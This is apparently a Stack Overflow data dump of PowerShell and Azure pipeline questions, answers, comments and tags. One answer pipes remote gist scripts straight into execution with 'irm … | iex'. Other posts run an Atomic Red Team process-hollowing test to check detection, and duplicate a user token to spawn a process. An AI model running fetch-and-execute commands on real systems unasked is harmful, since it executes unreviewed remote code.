has text: This should work `Get-ChildItem -File -Path $sourceFolder, $targetFolder | Group-Object BaseName | Where-Object { $_.Count -EQ 1 -and $_.Group[0].FullName -match [regex]::Escape($sourceFolder) } | Select-Object -ExpandProperty Group | Move-Item -Destination $destinationFolder -WhatIf` Remove `-WhatIf` after testing when ready to move the files
comment on: http://stackoverflow.com/q/79197561
score: 0

http://stackoverflow.com/comment/139654113
has text: Sorry, I didn't understand the requirement. Could you please elaborate a little? Do you have a ".json" folder and "out" folder? How do I know which file needs which other file?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79197561
score: 1

http://stackoverflow.com/comment/139456358
type: QuestionComment
type: Comment
has text: All problems were resolved after uninstalled those auto updates on the top of 22h2.
score: 0
comment on: http://stackoverflow.com/q/79084760

http://stackoverflow.com/comment/139527521
score: 1
has text: What happens when you use the fullpath: `Add-AppxPackage -Path "<fullpah>\config\AppName.eappx"`?
type: QuestionComment
comment on: http://stackoverflow.com/q/79128284
type: Comment

windows-installer
tags question: http://stackoverflow.com/q/79099875
tag name: windows-installer
type: Tag
tags question: http://stackoverflow.com/q/79272775
tags question: http://stackoverflow.com/q/79375630

http://stackoverflow.com/comment/139707406
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79226757
has text: Thank you drescherjm. That's right. The Error Lookup Tool from VS says the same thing. Unfortunately that hasn't got me any further so far. Do you have any ideas?
score: 0

account
type: Tag
tags question: http://stackoverflow.com/q/79116129
tag name: account
tags question: http://stackoverflow.com/q/79193052

http://stackoverflow.com/comment/139702525
has text: I don't know octopus ... why you need to run it from the same window? If you need to run stuff in sequence just run it in sequence. ‍♂️
type: QuestionComment
comment on: http://stackoverflow.com/q/79224521
type: Comment
score: 0

http://stackoverflow.com/comment/139583359
comment on: http://stackoverflow.com/q/79158483
has text: I have just tried something similar by enumerating the active Windows. By getting the text for each window that is found, I can check if the title contains the string __"Edge"__, which is a simpler way of doing what you want.
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/139644619
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79110614
has text: So what is the difference between the working and failing repositories?
score: 0

http://stackoverflow.com/comment/139454919
type: QuestionComment
type: Comment
has text: If you delete this folder ""C:\ProgramData\Microsoft\VisualStudio\Packages\Microsoft.VisualCpp.Redist.14,version=14.40.33816,chip=x86" and manually install it from "https://aka.ms/vs/17/release/vc_redist.x86.exe" and reinstall, will it unblock?
comment on: http://stackoverflow.com/q/79084760
score: 0

http://stackoverflow.com/a/79211435
type: Answer
has body: I have a template engine that I wrote several years ago to combine a simple template with a CSV file containing actual values. It's possible that this tool could be adapted to your case. Here is my template engine: <# .NOTES Script: Expand-Csv Rev: 3.2 By: DGC Date: 2-21-19 .SYNOPSIS Generates multiple expansions of a template, driven by data in a CSV file. .DESCRIPTION This function is a table driven template tool. It generates output from a template and a driver table. The template file contains plain text and embedded variables. The driver table (in a csv file) has one column for each variable, and one row for each expansion to be generated. #> function Expand-csv { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [string] $driver, [Parameter(Mandatory=$true)] [string] $template ) Process { Import-Csv $driver | % { $_.psobject.properties | % {Set-variable -name $_.name -value $_.value} Get-Content $template | % {$ExecutionContext.InvokeCommand.ExpandString($_)} } } } Here is a demo of my template engine, with two examples. One of the examples generates a reiterative SQL script with the variable data resolved. Example 1: CSV File -------------------- NAME,ID John,18 Dave,19 Carmen,20 Eric,21 Tom,22 Lisa,23 Kyle,24 CSV Data viewed as a table NAME ID ---- -- John 18 Dave 19 Carmen 20 Eric 21 Tom 22 Lisa 23 Kyle 24 Example 1: Template -------------------- java -jar --create -user $name -id $id -file D:/HR/$name-$id-form.pdf Example 1: Results ------------------- java -jar --create -user John -id 18 -file D:/HR/John-18-form.pdf java -jar --create -user Dave -id 19 -file D:/HR/Dave-19-form.pdf java -jar --create -user Carmen -id 20 -file D:/HR/Carmen-20-form.pdf java -jar --create -user Eric -id 21 -file D:/HR/Eric-21-form.pdf java -jar --create -user Tom -id 22 -file D:/HR/Tom-22-form.pdf java -jar --create -user Lisa -id 23 -file D:/HR/Lisa-23-form.pdf java -jar --create -user Kyle -id 24 -file D:/HR/Kyle-24-form.pdf Example 2: CSV File -------------------- pri…
answers question: http://stackoverflow.com/q/79209007
score: 0

http://stackoverflow.com/comment/139508217
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
score: 0
has text: I think you want : $latestKey = $recoveryKeys | Sort-Object WhenCreated -Descending | foreach { $_ | Select-Object -First 1 }

bash
tag name: bash
tags question: http://stackoverflow.com/q/79213205
type: Tag
tags question: http://stackoverflow.com/q/79099308

.net-assembly
tag name: .net-assembly
tags question: http://stackoverflow.com/q/79195703
type: Tag

http://stackoverflow.com/comment/139712368
has text: This _somehow_ sounds like you are trying to use SQL EXPRESS in a manner it is not supposed to be used for. Maybe there could be better alternatives, so: what is this supposed to be used for?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79229639
score: 0

http://stackoverflow.com/a/79145720
answers question: http://stackoverflow.com/q/79145598
type: Answer
has body: From comments the issue is now solved by splitting parameters and arguments instead of putting them together, in summary, this works: Start-Process -FilePath java.exe -ArgumentList @( '-jar' 'C:\Users\myUser\Desktop\agent.jar' '-jnlpUrl' 'http://jenkins.mysecretdomain.com:8080/manage/computer/myJenkinsNode/jenkins-agent.jnlp' '-secret' '1234567890abcdefgh1234567890abcdefgh1234567890abcdefgh1234567890' '-workDir' 'e:\myFolder\Jenkins\' ) But for future, something that makes it really easy to troubleshoot is to compile print_argv.exe taken from jborean93's comment here (Note that it will only compile in Windows PowerShell 5.1 if using Add-Type). Then you can use this command to troubleshoot really easy, to show a comparison of what you had before and after splitting arguments how it looks: # This is before, using `@(...)` to make it more readable .\print_argv.exe @( '-jar C:\Users\myUser\Desktop\agent.jar' '-jnlpUrl http://jenkins.mysecretdomain.com:8080/manage/computer/myJenkinsNode/jenkins-agent.jnlp' '-secret 1234567890abcdefgh1234567890abcdefgh1234567890abcdefgh1234567890' "-workDir 'e:\myFolder\Jenkins\'" ) # [0] -jar C:\Users\myUser\Desktop\agent.jar # [1] -jnlpUrl http://jenkins.mysecretdomain.com:8080/manage/computer/myJenkinsNode/jenkins-agent.jnlp # [2] -secret 1234567890abcdefgh1234567890abcdefgh1234567890abcdefgh1234567890 # [3] -workDir 'e:\myFolder\Jenkins\' So as you can see, this is parsed as 4 arguments, instead of you separate parameter and arguments: # This is after, using `@(...)` to make it more readable .\print_argv.exe @( '-jar' 'C:\Users\myUser\Desktop\agent.jar' '-jnlpUrl' 'http://jenkins.mysecretdomain.com:8080/manage/computer/myJenkinsNode/jenkins-agent.jnlp' '-secret' '1234567890abcdefgh1234567890abcdefgh1234567890abcdefgh1234567890' '-workDir' 'e:\myFolder\Jenkins\' ) # [0] -jar # [1] C:\Users\myUser\Desktop\agent.jar # [2] -jnlpUrl # [3] http://jenkins.mysecretdomain.com:8080/manage/computer/myJenkinsNode/jenkins-agent.jnlp # [4] -secret …
score: 0

handle
type: Tag
tag name: handle
tags question: http://stackoverflow.com/q/79185432
tags question: http://stackoverflow.com/q/79397722

for-loop
type: Tag
tags question: http://stackoverflow.com/q/79216721
tag name: for-loop
tags question: http://stackoverflow.com/q/79113079

azure-synapse
type: Tag
tag name: azure-synapse
tags question: http://stackoverflow.com/q/79208335
tags question: http://stackoverflow.com/q/79490425

indexer
tag name: indexer
tags question: http://stackoverflow.com/q/79149903
type: Tag

properties
tags question: http://stackoverflow.com/q/79077437
tag name: properties
tags question: http://stackoverflow.com/q/79200338
type: Tag
tags question: http://stackoverflow.com/q/79271171

remote-execution
tags question: http://stackoverflow.com/q/79167030
type: Tag
tag name: remote-execution

http://stackoverflow.com/comment/139595107
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79164499
score: 0
has text: ⚠️ as an aside, in the interest of security, try to avoid handling (hardcoded) passwords in a script. [The general approach of dealing with credentials is to avoid them and instead rely on other means to authenticate, such as certificates or Windows authentication](https://github.com/dotnet/platform-compat/blob/master/docs/DE0001.md)

http://stackoverflow.com/comment/139661368
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79197561
has text: Another, probably faster and easier on the eyes `$targetFiles = (Get-ChildItem $targetFolder).BaseName; Get-ChildItem $sourceFolder | Where-Object { $_.BaseName -notin $targetFiles } | Move-Item -Destination $destinationFolder -WhatIf`
score: 0

http://stackoverflow.com/comment/139616072
type: QuestionComment
comment on: http://stackoverflow.com/q/79176549
type: Comment
score: 0
has text: so like what is put here ```parameters: filteredWebsitesNew: $(filteredWebsitesPath) ``` it will directly send this to template without resolving so when i access this then it look like below``` $folderPath = "C:\myPath\$(filteredWebsitesPath)\images"```

mdt
tag name: mdt
tags question: http://stackoverflow.com/q/79192349
type: Tag

http://stackoverflow.com/comment/139704981
type: QuestionComment
has text: https://learn.microsoft.com/en-us/azure/storage/files/storage-how-to-use-files-windows#using-an-azure-file-share-with-windows
type: Comment
comment on: http://stackoverflow.com/q/79225874
score: 0

oop
tag name: oop
tags question: http://stackoverflow.com/q/79078591
type: Tag

powershell-cmdlet
tag name: powershell-cmdlet
tags question: http://stackoverflow.com/q/79109509
type: Tag
tags question: http://stackoverflow.com/q/79382513
tags question: http://stackoverflow.com/q/79256553
tags question: http://stackoverflow.com/q/79433736
tags question: http://stackoverflow.com/q/79421536
tags question: http://stackoverflow.com/q/79446811

ms-office-script
type: Tag
tags question: http://stackoverflow.com/q/79211810
tag name: ms-office-script

object
tag name: object
tags question: http://stackoverflow.com/q/79077437
type: Tag
tags question: http://stackoverflow.com/q/79359686
tags question: http://stackoverflow.com/q/79386069

http://stackoverflow.com/comment/139468593
has text: Does your terminal device provide a move cursor to top left (or position x,y) escape code? IOW don't clear the screen with CLS in the loop. Jump back to the top left corner and overwrite the previously displayed screen with the next animation frame.
type: QuestionComment
score: 6
comment on: http://stackoverflow.com/q/79095935
type: Comment

http://stackoverflow.com/comment/139522109
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79122136
has text: [`-contains` / `-notcontains`](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_Comparison_Operators#-contains-and--notcontains) are _collection_ operators: they test if the LHS object is _equal in full_ to at least one element of the RHS collection. They are not to be confused with the `.Contains()` .NET method for _substring matching_. While PowerShell has no equivalent operator for _literal_ substring matching, you can use `-like` with _wildcard expressions_ or `-match` with _regular expressions_, both of which are case-_insensitive_ by default.
score: 0

user-account-control
type: Tag
tags question: http://stackoverflow.com/q/79174496
tag name: user-account-control

maven
tags question: http://stackoverflow.com/q/79077815
tag name: maven
type: Tag

http://stackoverflow.com/comment/139528445
type: QuestionComment
comment on: http://stackoverflow.com/q/79128284
type: Comment
has text: I would file a inquiry with Microsoft. I suspect it is with a driver as stated on page.
score: 0

import-contacts
type: Tag
tag name: import-contacts
tags question: http://stackoverflow.com/q/79117908

project-idx
type: Tag
tag name: project-idx
tags question: http://stackoverflow.com/q/79105813

uwp
type: Tag
tags question: http://stackoverflow.com/q/79189697
tag name: uwp
tags question: http://stackoverflow.com/q/79324379

http://stackoverflow.com/comment/139539582
comment on: http://stackoverflow.com/q/79134985
has text: Try `dotnet add package Microsoft.PowerShell.SDK`, `Install-Package` is cursed
type: QuestionComment
score: 2
type: Comment

memory
tags question: http://stackoverflow.com/q/79244326
tag name: memory
type: Tag

numbers
type: Tag
tag name: numbers
tags question: http://stackoverflow.com/q/79173045

firewall
tags question: http://stackoverflow.com/q/79216363
tag name: firewall
type: Tag
tags question: http://stackoverflow.com/q/79539932

get-wmiobject
type: Tag
tags question: http://stackoverflow.com/q/79078432
tag name: get-wmiobject
tags question: http://stackoverflow.com/q/79487796

http://stackoverflow.com/comment/139436868
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79078234
has text: As one-liner: `$a = [int64[]](Get-Process | Where-Object {$_.handles -gt 1000}).Id`

operating-system
tags question: http://stackoverflow.com/q/79088290
type: Tag
tag name: operating-system

azure-web-app-service
tags question: http://stackoverflow.com/q/79099308
type: Tag
tag name: azure-web-app-service
tags question: http://stackoverflow.com/q/79275937

pyenv-win
type: Tag
tags question: http://stackoverflow.com/q/79093235
tag name: pyenv-win

kyocera
type: Tag
tag name: kyocera
tags question: http://stackoverflow.com/q/79193316

reset
type: Tag
tags question: http://stackoverflow.com/q/79137830
tag name: reset

sql-server-2014
type: Tag
tag name: sql-server-2014
tags question: http://stackoverflow.com/q/79111442

c++
type: Tag
tag name: c++
tags question: http://stackoverflow.com/q/79226757
tags question: http://stackoverflow.com/q/79303993

http://stackoverflow.com/comment/139845234
comment on: http://stackoverflow.com/a/79304065
type: Comment
score: 0
has text: "*std::string stores utf8 characters in multiple bytes sequence*" - `std::string` has no concept of character encodings. Each `char` is a raw byte in whatever encoding the characters are using. If the characters are encoding in UTF-8, then yes, non-ASCII characters will occupy more than 1 `char` each. But, if the same characters are encoded in Windows-125x for example, then the characters will be 1 `char` each.
type: AnswerComment

http://stackoverflow.com/q/79397722
has comment: http://stackoverflow.com/comment/140021419
tagged with: process
score: 2
upvote count: 2
tagged with: c#
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/140020691
has answer: http://stackoverflow.com/a/79399424
has title: How do I get all the open handles of a process using PowerShell?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/140021686
has comment: http://stackoverflow.com/comment/140020562
favorite count: 0
answer count: 2
type: Question
has body: When investigating what files a process is currently actively working with, I can use tools from Sysinternals like handle.exe or procexp.exe and then look for names looking like file patterns. But when I query for the open handles of a process using PowerShell, I can only seem to get the number of handles. Not the actual handle references itself. Get-Process -Id $SomePid | select Handles The same goes for using .Net calls [System.Diagnostics.Process]::GetProcessById($SomePid).Handles And WMI will also strike out, only providing me with the amount of handles... Get-CimSession Win32_Process -Filter "Process = $SomePid" | select HandleCount
has answer: http://stackoverflow.com/a/79398658
has comment: http://stackoverflow.com/comment/140020638
has comment: http://stackoverflow.com/comment/140021424
tagged with: handle
has comment: http://stackoverflow.com/comment/140020704
tagged with: pinvoke

http://stackoverflow.com/comment/140013221
type: QuestionComment
type: Comment
has text: @MathiasR.Jessen, thx for responding. Both the sn and Company properties aren't returned. I see I stated this wrong in my initial question (which I will update right away).
score: 0
comment on: http://stackoverflow.com/q/79393539

http://stackoverflow.com/q/79410420
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/140047131
has comment: http://stackoverflow.com/comment/140045467
type: Question
has title: PowerShell is Throwing an Error About Loading an Assembly
has comment: http://stackoverflow.com/comment/140045296
tagged with: .net
answer count: 1
has comment: http://stackoverflow.com/comment/140045478
has body: I have an outside application from one of the company's software I support. I configured a new Window Server 2022 to run this application. I also tested this on some other versions of Window too and getting a similar error. When I attempt to load it, I get the following error: $PSVersionTable Name Value ---- ----- PSVersion 7.5.0 PSEdition Core GitCommitId 7.5.0 OS Microsoft Windows 10.0.20348 Platform Win32NT PSCompatibleVersions {1.0, 2.0, 3.0, 4.0…} PSRemotingProtocolVersion 2.3 SerializationVersion 1.1.0.1 WSManStackVersion 3.0 It appears to me, since the PowerShell version matches the System.Management.Automation and the other VM's I tested it on, the error matches the PSVersion. I am not sure if it is a .Net error. I am not sure where or how to download the reference assembly. I also see NuGet is not installed on the Win 2022. In response to a posted comment, the application is package as an exe file. I have only ever worked with PowerShell as a native PowerShell files.
tagged with: powershell
has answer: http://stackoverflow.com/a/79413477
has comment: http://stackoverflow.com/comment/140047519

http://stackoverflow.com/comment/139799521
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79278800
type: QuestionComment
has text: Do you want linked server to a semantic model, or a Fabric SQL Endpoint?

http://stackoverflow.com/a/79377434
score: 2
has body: Reference the built-in cmdlet by module-qualified name or reference to avoid calling yourself recursively once the alias takes effect: function Write-MyProgress { param ( [Parameter(Mandatory)] [string]$Activity, [string]$Status = 'Processing' ) $params = @{ Activity = $Activity Status = $Status } # module-qualified command name Microsoft.PowerShell.Utility\Write-Progress @params $LogMessage = "PROGRESS: $Activity - $Status" Write-PSFMessage -Level SomewhatVerbose -Message $LogMessage } Additionally, you may want to use the $PSBoundParameters automatic variable as the splatting target - this way you'll not only be passing bound -Activity and -Status arguments, but common parameter arguments too (-Debug, -OutVariable, -ProgressAction etc.): function Write-MyProgress { param ( [Parameter(Mandatory)] [string]$Activity, [string]$Status = 'Processing' ) # module-qualified command name Microsoft.PowerShell.Utility\Write-Progress @PSBoundParameters $LogMessage = "PROGRESS: $Activity - $Status" Write-PSFMessage -Level SomewhatVerbose -Message $LogMessage }
answers question: http://stackoverflow.com/q/79377035
accepted answer of: http://stackoverflow.com/q/79377035
has comment: http://stackoverflow.com/comment/139995630
type: AcceptedAnswer
upvote count: 2
downvote count: 0
type: Answer

http://stackoverflow.com/q/79262231
has comment: http://stackoverflow.com/comment/139769350
type: Question
has body: I have a simple ForEach loop ForEach ($line in Get-Content documents.txt) { ... code ... } and I would like to remove that line from the original file once my code has been processed. What would be the best approach to achieve this? Thanks in advance.
has comment: http://stackoverflow.com/comment/139769130
answer count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79262659
downvote count: 1
tagged with: powershell
has comment: http://stackoverflow.com/comment/139769321
upvote count: 0
has title: PowerShell ForEach Loop - delete current line
accepted answer: http://stackoverflow.com/a/79262659
favorite count: 0
score: -1
has comment: http://stackoverflow.com/comment/139769128

http://stackoverflow.com/a/79383915
type: AcceptedAnswer
type: Answer
score: 0
has body: with Powershell 7.x $AppSettingHashtable = Get-Content $AppSettingJson -Raw | ConvertFrom-Json -Depth 100 -AsHashtable $MyValuesHashtable = Get-Content $MyValuesJson -Raw | ConvertFrom-Json -Depth 100 -AsHashtable foreach ($Key in $MyValuesHashtable.variables.Keys) { $Key1, $Key2 = $key -split '\.' $AppSettingHashtable[$Key1][$key2] = $MyValuesHashtable.variables[$Key].value } $AppSettingHashtable | ConvertTo-Json -Depth 100 obviously make sure to match your paths as necessary
answers question: http://stackoverflow.com/q/79382832
accepted answer of: http://stackoverflow.com/q/79382832

http://stackoverflow.com/a/79276841
score: 0
answers question: http://stackoverflow.com/q/79276071
type: Answer
has body: I don't even know where count [the Count property in the output] came from What Measure-Object can always do is to count the input objects it receives via the pipeline. It does so invariably and by default, so that the Count property of the Microsoft.PowerShell.Commands.GenericMeasureInfo instance that reports the measuring results is always filled in.[1] Note: To determine what .NET type(s) a given cmdlet outputs, you have several options: Consult the Outputs section of the online help topic (this example links to the relevant section of the Measure-Object) If you have local help installed (which is true by default for Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1, but not for PowerShell (Core) 7 (the modern, cross-platform, install-on-demand edition), where you must call Update-Help first), e.g.: (Get-Help Measure-Object).returnValues Note that a quick way to open the online help topic for a given cmdlet (if available) is to use Get-Help's -Online switch, e.g. Get-Help -Online Measure-Object. Unfortunately, there's no built-in way to do the same for conceptual help topics (e.g. about_Output_Streams, operators, or .NET types. The following third-party functions (authored by me), stored in MIT-licensed GitHub Gists, fill this gap. Assuming you have looked at their source code (which I can personally assure you is safe, but you should always check), you can install them directly as follows: # Show-Help function (wrapper for Get-Help -Online with support for about_* topics); e.g. # Show-Help about_pwsh # Show-Help about_Automatic_Variables PSItem irm https://gist.github.com/mklement0/880624fd665073bb439dfff5d71da886/raw/Show-Help.ps1 | iex # Show-OperatorHelp function (online help for PowerShell's operators; e.g. # Show-OperatorHelp replace irm https://gist.github.com/mklement0/146f3202a810a74cb54a2d353ee4003f/raw/Show-OperatorHelp.ps1 | iex # Show-TypeHelp function (online documentation for…

http://stackoverflow.com/q/79336435
has title: Display the real error location when using Write-Error inside a powershell script called by another one
type: Question
answer count: 0
has body: I have the following setup : Parent.ps1 & "./Child.ps1" Child.ps1 Write-Host "some log" Write-Error "non terminating error log" Write-Host "something else" I would assume, when running Parent.ps1, that the error location associated with the Write-Error displayed in the log would be in Child.ps1. However this happens some log Write-Error: D:\pwtest\Parent.ps1:1 Line | 1 | & "./Child.ps1" | ~~~~~~~~~~~~~~~ | non terminating error log something else Is there any way to make it show the correct line (in the child script) in the logs ?
has comment: http://stackoverflow.com/comment/139906476
has comment: http://stackoverflow.com/comment/139904013
tagged with: powershell
has comment: http://stackoverflow.com/comment/140013635
has comment: http://stackoverflow.com/comment/139904026
type: UnansweredQuestion
score: 0

http://stackoverflow.com/comment/139982713
score: 0
comment on: http://stackoverflow.com/q/79375029
has text: please add error in question with more info
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79374832
tagged with: process
tagged with: powershell
answer count: 1
score: 2
has comment: http://stackoverflow.com/comment/139979366
has comment: http://stackoverflow.com/comment/139995187
has comment: http://stackoverflow.com/comment/140022328
has comment: http://stackoverflow.com/comment/140021645
has answer: http://stackoverflow.com/a/79375356
tagged with: createprocessasuser
has body: I am currently struggling on the challenge to run some Powershell code under "local system" which should launch a new detached process in the context of the currently logged-in user. It all seems to work fine except the new process is always a sub-process and NOT really detached. Is is just because of a wrong value for dwCreationFlags? Can someone help here to make this work? Or is this ONLY possible via the task scheduler? Here the test-code I have so far: cls remove-variable * -ea 0 $ErrorActionPreference = 'stop' #requires -runasadmin # pinvoke-code to switch into users context: Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } public static class Kernel32 { [DllImport("kernel32.dll")] public static extern uint WTSGetActiveConsoleSessionId(); [DllImport("Wtsapi32.dll")] public static extern bool WTSQueryUserToken(uint SessionId, ref IntPtr phToken); [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")] public static extern bool DuplicateTokenEx( IntPtr ExistingTokenHandle, uint dwDesiredAccess, IntPtr lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle); [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] public static extern uint Cre…
type: UnansweredQuestion
favorite count: 0
has comment: http://stackoverflow.com/comment/140022334
has title: How to start a new detached user-process?
type: Question
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/79321927
has comment: http://stackoverflow.com/comment/139877527
has answer: http://stackoverflow.com/a/79321969
tagged with: filenames
tagged with: powershell
type: UnansweredQuestion
upvote count: 1
has title: Find duplicates files based on hash, with catch
answer count: 2
tagged with: hash
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139881301
type: Question
has answer: http://stackoverflow.com/a/79323142
has body: I have a photo library that contains a lot of duplicate images. Unfortunately these sometimes have different names, because they also come from my wifes phone where the numbering is different. On IOS there is something called live photos, where a .MOV file has the same basename as the image. My photo library shows these the same way IOS does (hold to play). Ofcourse i would like to keep this feature. So what i would like is to scan for duplicate files based on hash, then make sure, if a .MOV with the same basename exists, that file is kept and the others are deleted. -a--- 10-8-2013 19:36 2909610 IMG_0992 (1).JPG -a--- 10-8-2013 19:36 2909610 IMG_0992 (2).JPG -a--- 10-8-2013 19:36 2909610 IMG_0992.JPG -a--- 14-7-2013 16:30 30972837 IMG_0992.MOV So in this example IMG_0992.JPG should be kept, the others deleted. # start scanning here: # (default to personal documents folder) # use any other path if you like: # i.e.: $Path = 'c:\windows' $Path = "D:\Test" # get a hashtable of all files of size greater 0 # grouped by their length: $group = Get-ChildItem -Path $Path -File -Recurse -ErrorAction Ignore | # EXCLUDE empty files... Where-Object Length -gt 0 | # group them by their LENGTH... Group-Object -Property Length -AsHashTable # take each pile in the hashtable (grouped by their length) # and return all files from piles greater than one element: $candidates = foreach($pile in $group.Values) { # are there at least 2 files in this pile? if ($pile.Count -gt 1) { # yes, add it to the candidates $pile } } # these are files that CAN have duplicates and require more # testing: $candidates $duplicates = $candidates | # group all files by their hash, placing files with equal content # in the same group Group-Object -Property { (Get-FileHash -Path $_.FullName -Algorithm SHA1).Hash } -AsHashTable -AsString $duplicates Don't know how to go from here.
linked to: http://stackoverflow.com/q/47387016
downvote count: 0

http://stackoverflow.com/q/79248095
downvote count: 0
has answer: http://stackoverflow.com/a/79249620
has body: Consider the following background: None of the obvious methods of programmatically stopping PowerShell from another process result in clean{} running. Stop-Process "jumps straight to kill" without even trying the standardized but unreliable methods of requesting termination like WM_CLOSE and GenerateConsoleCtrlEvent as described here. There are countless clues that ported programs that successfully use POSIX signals like SIGTERM on other platforms don't succeed at doing the same on Windows. Perhaps this comment most succinctly summarizes what that situation appears to be. Now consider a PowerShell session running some of my code. I can press CTRL+C at the console, the clean{} blocks are executed, a cascade of Dispose() calls occurs through any active Cmdlet's and other object trees, and the process gracefully stops after all that cleanup is complete. I would like to invoke a similar degree of orderly stopping from another process. How can I achieve that in a manner that is reliable?
score: 2
upvote count: 2
linked to: http://stackoverflow.com/q/79252830
has title: How can I configure a PowerShell session to gracefully and reliably end after a request to terminate from another process?
tagged with: powershell
tagged with: terminate
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/35772001
answer count: 2
tagged with: windows
favorite count: 0
possible better answer: http://stackoverflow.com/a/79248980
linked to: http://stackoverflow.com/q/79245097
tagged with: sigint
accepted answer: http://stackoverflow.com/a/79249620
type: Question
has answer: http://stackoverflow.com/a/79248980

http://stackoverflow.com/q/79323653
tagged with: powershell
type: UnansweredQuestion
tagged with: azure
has body: I have an elastic environment with two agents enrolled on the fleet server. One Agent is my local machine, the other agent is a windows client from azure pipeline. The goal is to run the azure pipeline, run the atomic red team test (T1055.012) and trigger the alert in elastic. When I run the atomic test from my local machine, the alerts are triggered like expected. However, when i do the exact same thing on the windows client on the azure pipeline, the alert is not triggered. This is the pipeline: trigger: - main # Manual trigger required pool: vmImage: 'windows-latest' parameters: - name: VPN_USERNAME displayName: "VPN Username" type: string default: "" - name: VPN_PASSWORD displayName: "VPN Password" type: string default: "" variables: VPN_SERVER: (redacted) PING_SERVER: (redacted) ELASTIC_URL: (redacted) ENROLLMENT_TOKEN: (redacted) KIBANA_URL: (redacted) KIBANA_API_KEY: (redacted) TestID: "T1055.012" # Map parameters to variables VPN_USERNAME: ${{ parameters.VPN_USERNAME }} VPN_PASSWORD: ${{ parameters.VPN_PASSWORD }} stages: - stage: Setup_And_Enroll displayName: "Set up VPN and Enroll Client" jobs: - job: InstallAndConnectVPN displayName: 'Install Cisco AnyConnect and Connect to VPN' steps: (Connect to VPN, redacted) - powershell: | # Download and Install Elastic Agent as Administrator $ProgressPreference = 'SilentlyContinue' Write-Host "Downloading Elastic Agent..." Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-8.16.2-windows-x86_64.zip -OutFile elastic-agent-8.16.2-windows-x86_64.zip Write-Host "Extracting Elastic Agent..." Expand-Archive .\elastic-agent-8.16.2-windows-x86_64.zip -DestinationPath . cd elastic-agent-8.16.2-windows-x86_64 # Run the installation as Administrator Write-Host "Installing Elastic Agent..." $process = Start-Process .\elastic-agent.exe -ArgumentList "install", "--url=$(ELASTIC_URL)", "--enrollment-token=$(ENROLLMENT_TOKEN)", "-f", "--insecure", "-v" -Verb RunAs -PassThru $process.Wait…
score: 0
tagged with: azure-powershell
type: Question
has title: Atomic Red Team over Azure Pipeline
has answer: http://stackoverflow.com/a/79323890
answer count: 1
tagged with: azure-pipelines

http://stackoverflow.com/q/79399774
has comment: http://stackoverflow.com/comment/140024483
score: 0
type: Question
has body: As a learning exercise, I'm trying to set up a template to retrieve azure keyvault secrets dynamically. The secrets need to be available between jobs: parameters: - name: secretsFilter type: string jobs: - job: kv displayName: Fetch keyvault variables pool: MAPLE-STAGING steps: - checkout: none - task: AzureKeyVault@2 inputs: azureSubscription: 'x' KeyVaultName: 'y' SecretsFilter: ${{ parameters.secretsFilter }} - script: | secrets=&quot;${{ replace(parameters.secretsFilter, ',', ' ') }}&quot; for secretName in $secrets; do echo &quot;##vso[task.setvariable variable=$secretName;isoutput=true;issecret=false;isreadonly=true]$($secretName)&quot; done name: kv - template: keyvault-practice.yml parameters: secretsFilter: 'some-user,some-password' I've managed to split the string and iterate through the items. I'm still having trouble however with storing the item's value. Storing the variable without a loop would look similar to this: echo &quot;##vso[task.setvariable variable=some-user-name;isoutput=true;issecret=true;isreadonly=true]$(some-user-name)&quot; I think I'm incorrectly mixing up runtime bash variables with compile-time azure pipeline placeholders when I'm using $($secretName) in my loop, as I receive the message line 4: some-user-name: command not found. My other option would be to declare an array object - name: secrets type: object: default: [] instead of a comma separated string and loop the items when rendering the script, instead of what I'm doing right now. However, I haven't figured out how to accomplish this yet. Would anyone know how my setup can be modified in order to dynamically retrieve keyvault secrets?
answer count: 1
tagged with: azure-devops
has answer: http://stackoverflow.com/a/79400222
tagged with: azure-pipelines
linked to: http://stackoverflow.com/q/79394291
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79400222
type: AnsweredQuestion
has title: Azure pipeline template: dynamically retrieve and story keyvault secrets
tagged with: azure-pipelines-yaml

http://stackoverflow.com/comment/140030856
has text: @SantiagoSquarzon Thanks for the suggestions. It never worked when attempting to get the exit code with the $LASTEXITCODE command programmically called in Powershell. If I used $LASTEXITCODE in other PowerShell windows it did show me a 25 as expected. I was using an absolute path to the script.
type: Comment
comment on: http://stackoverflow.com/a/79401189
score: 0
type: AnswerComment

